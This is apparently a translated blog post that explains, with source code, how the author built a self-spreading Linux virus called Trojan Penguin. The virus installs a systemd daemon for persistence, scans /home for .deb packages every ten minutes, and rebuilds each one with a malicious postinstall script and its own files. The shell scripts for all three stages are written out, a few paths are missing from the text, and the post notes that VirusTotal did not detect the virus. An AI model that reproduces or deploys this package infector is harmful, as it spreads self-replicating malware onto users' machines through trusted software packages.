Trojan Penguin: Making a Virus for Linux

    No, I'm not going to tell you how to write your extortionist coder, miner, or exploit a super-new vulnerability, as you might think. And the more so, I don’t have a desire to raise the holivar “Is Linux safer than Windows? (Yes)”. My goal was to write a simple virus for linux, there is no one, so to speak, “Just for Fun”, the only function of which is to distribute its copy. That I succeeded, I will tell in this article. At the end, I’ll provide a link to GitHub with the sources.



    This article is written for informational purposes only. In no case does the author urge readers to violate the laws of the Russian Federation. Please do not repeat the actions described in this article without first reading Chapter 28 of the Criminal Code of the Russian Federation.

    And what are we actually going to do?

    The easiest way to implement the virus propagation mechanism for me seemed to be propagation through modified deb / rpm packages. Deb and rpm packages are now the most popular distribution tool for Linux. I opted for the deb format, since the number of users of Debian-based distributions prevails over Red Hat users and its “followers”.

    It is also necessary that the virus automatically start up, and after each certain period of time scan the computer in search of deb-packages. For debugging convenience, I chose a period of 10 minutes.

    What is a deb package?

    A deb package is a .ar archive that does not use compression. There are three more files inside the archive: debian-bynary , control.tar and data.tar

    debian.binary is a text file containing the version of the deb-package format, at the moment there is always written "2.0".

    control.tar - archive with files containing information about the package (for example, the required control file) and packages necessary for installing the package (for example, preinst, postinst, prerm and postrm scripts that are run before / after installing / uninstalling the package). It can be compressed with gzip or xz, in which case the extension .gz or .xz is added to the archive name, respectively.

    data.tar- archive with directories containing installable files. Directories are represented by a tree in which they must be extracted to the root of the file system. Can be compressed with gzip, bzip2, lzma, xz.

    We need to pay attention to the control file from the control.tar archive. This file contains information about the package, such as the author, description, version, package priority in the system, etc. I am interested in the depends field , in which the dependencies are indicated (packages without which this package cannot work). In this field, our virus will add fakeroot and dpkg - utilities that will be needed when modifying other packages on the infected computer.

    To build a deb package, a package root directory is created. It contains directories with installed files and a DEBIAN directory containing service files, including control and installation / uninstall scripts. Then the fakeroot dpkg-deb --build ./path command is executed .

    First there was a demon

    At the time of writing the virus, I still didn’t have a good idea of ​​what Cron was , and so I went by writing my own demon for systemd . I created the file trojan_penguin.service, which will be placed in the / lib / systemd / system directory, and added the following to it:

    Description = XXX

    ExecStart = / usr / bin / - here I indicated the path to the file (to the future virus), which should be launched at system startup.

    Type = fork - this line indicates that the process must branch from the parent process.
    I did not see the need for a PID file, so I did not add it.
    In the manuals for writing your daemon, the .service files are suggested to be placed in the / usr / lib / systemd / system / or / etc / systemd / system / directories. But I found the / lib / systemd / system directory in my ubunt. (I got apache2.service there). Maybe someone will write in the comments, what this directory is for, and how it differs from the other two.

    I got the file /usr/bin/ like this:

    debug=""#создаем папку для записи логов, если таковой нетif ! [ -d $debug/var/log/trojan_penguin/ ]; then 
     mkdir $debug/var/log/trojan_penguin
    fi#работаем в бесконечном цикле,#делая паузы по 10 минутwhile [ 1 ] 
      list=$(find /home -name "*.deb") #ищем deb-пакеты# для каждого найденного пакета выполняем следующий циклfor line in$listdo$debug/usr/bin/ $line >> $debug/var/log/trojan_penguin/log#запускаем цикл, модифицирующий пакет, а логи записываем в файл logdone 
        date > $debug/var/log/trojan_penguin/last_start #записываем время последней отработки вируса (мне это помогло во время отладки)
        sleep 600 #пауза (60 * 10 сек = 10 мин)done

    We are looking for deb-packages in the / home section (and where else can we find them?), Write the paths to the found files to the list variable . Then we simply loop through all the lines from line and for each file we run the script, which will infect this file. When I wrote a virus, the scripts were in a separate directory, and for convenience, I created a debug variable in which I registered the path to this folder.

    The demon is ready, it remains to learn how to run it at system startup. For this, I wrote a postinstall script . It will be launched immediately after the installation of the infected package and indicate that our virus runs with the system. I placed it in the "/ usr / bin /" directory to copy it into infected packages from there.

    systemctl daemon-reload #не знаю почему, но без этой команды демон у меня иногда отказывался работать
    systemctl enable trojan_penguin.service #включаем автозапуск вместе с системой
    systemctl start trojan_penguin.service #запускаем демон

    Modifying the deb package

    As I wrote above, the archives contained in the deb-package may have different permissions. I did not bother, and only considered the case when the archives are compressed using .xz. The file /usr/bin/ , which is responsible for the modification, received the following content:

    temp="$debug/tmp/trojan_penguin"#создаем временные папки
    mkdir $temp
    mkdir $temp/new
    mkdir $temp/new/DEBIAN
    #распакуем пакет
    ar -p $1 data.tar.xz | tar -xJ -C $temp/new
    ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/
    #отредактируем control#в новый control копируем все поля до "Deepends", затем копируем поле "Deepends", дописывая наши зависимости, после чего добавляем оставшиеся поля.
    cp $temp/new/DEBIAN/control $temp/orig_control
    cat $temp/orig_control | grep  --before-context=100 Depends | grep -v  Depends > $temp/new/DEBIAN/control
    cat $temp/orig_control | grep  Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control
    echo", fakeroot, python" >> $temp/new/DEBIAN/control
    cat $temp/orig_control | grep  --after-context=100 Depends | grep -v  Depends >> $temp/new/DEBIAN/control
    #скормим пакету наш постинстал
    cp $debug/usr/bin/ $temp/new/DEBIAN/postinst
    #достроим дерево с нужными нам директориями, если таковых нетif ! [ -d $temp/new/usr ];
    	mkdir $temp/new/usr
    fiif ! [ -d $temp/new/usr/bin ];
    	mkdir $temp/new/usr/bin
    fiif ! [ -d $temp/new/lib ];
    	mkdir $temp/new/lib
    fiif ! [ -d $temp/new/lib/systemd ];
    	mkdir $temp/new/lib/systemd
    fiif ! [ -d $temp/new/lib/systemd/system ];
    	mkdir $temp/new/lib/systemd/system
    fi#копируем наши файлы
    cp $debug/usr/bin/ $temp/new/usr/bin/
    cp $debug/usr/bin/ $temp/new/usr/bin/
    cp $debug/usr/bin/ $temp/new/usr/bin/
    cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/
    #Собираем пакет, перемещаем его на место старого и удаляем папку, в которой мы работали.
    fakeroot dpkg-deb --build $temp/new
    cp $temp/new.deb $1
    rm -R $temp

    Problems with postinstall

    Everything is good, but now we have a problem. And what if the package already has a postinstal? The original postinstal can be written in different languages ​​(python, bash ...), it can even be a binary. This will not allow us to simply add and add our postinstall to it. I solved this problem as follows: I

    added such a thing to the script :

    #Проверяем, есть ли в пакете postinstal. Если да, то копируем его в другое место.if [ -f $temp/new/usr/bin/postinst ];
    	cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst

    And in postinstal this:

    #выполняем оригинальный постинстал и удаляем егоif [ -f $debug/usr/bin/tp_orig_postinst ]; then$debug/usr/bin/tp_orig_postinst
    	rm $debug/usr/bin/tp_orig_postinst

    I solved one problem, but another one appeared. Our virus will modify the package even if it is already infected. When modified, the virus will see that the package has a postinstal (which is actually ours), will move it to / usr / bin /, thereby overwriting the original. To avoid this, I added a check in “”, whether we modified this file or not:

    if [ -f $temp/new/usr/bin/ ];
    	rm -R $tempexit 0

    Putting it together

    The virus is ready. Here is a link to GitHub , as promised. This virus can be compiled into a separate deb-package (run from the repository. To inject a virus into a package, just run the command: /путь заражаемому deb-пакету/

    There are two copies of the postinst

    DEBIAN / postinst script in the repository - this copy is made only when installing an empty virus package. I commented it out so that the virus does not start after installation, and modifies the packages only on command.

    usr / bin / postinst - this copy is inserted into infectable packages.


    And the conclusion is obvious without this article: you should not download and run programs from unverified sources.

    For the sake of curiosity, I sent a deb-package with a virus to VirusTotal for analysis. At the time of this writing, no antivirus has detected it. Here is the link to the report. I wonder how much time must pass, and how many hosts need to infect with this virus in order for antiviruses to pay attention to it?

    Only registered users can participate in the survey. Sign in , please.

    On the Internet, very little information about viruses for Linux systems, and in particular for the linux family. I want to develop this topic on Habré in the form of a series of several articles. Please answer the survey: which of your topics are the most interesting?

    Also popular now: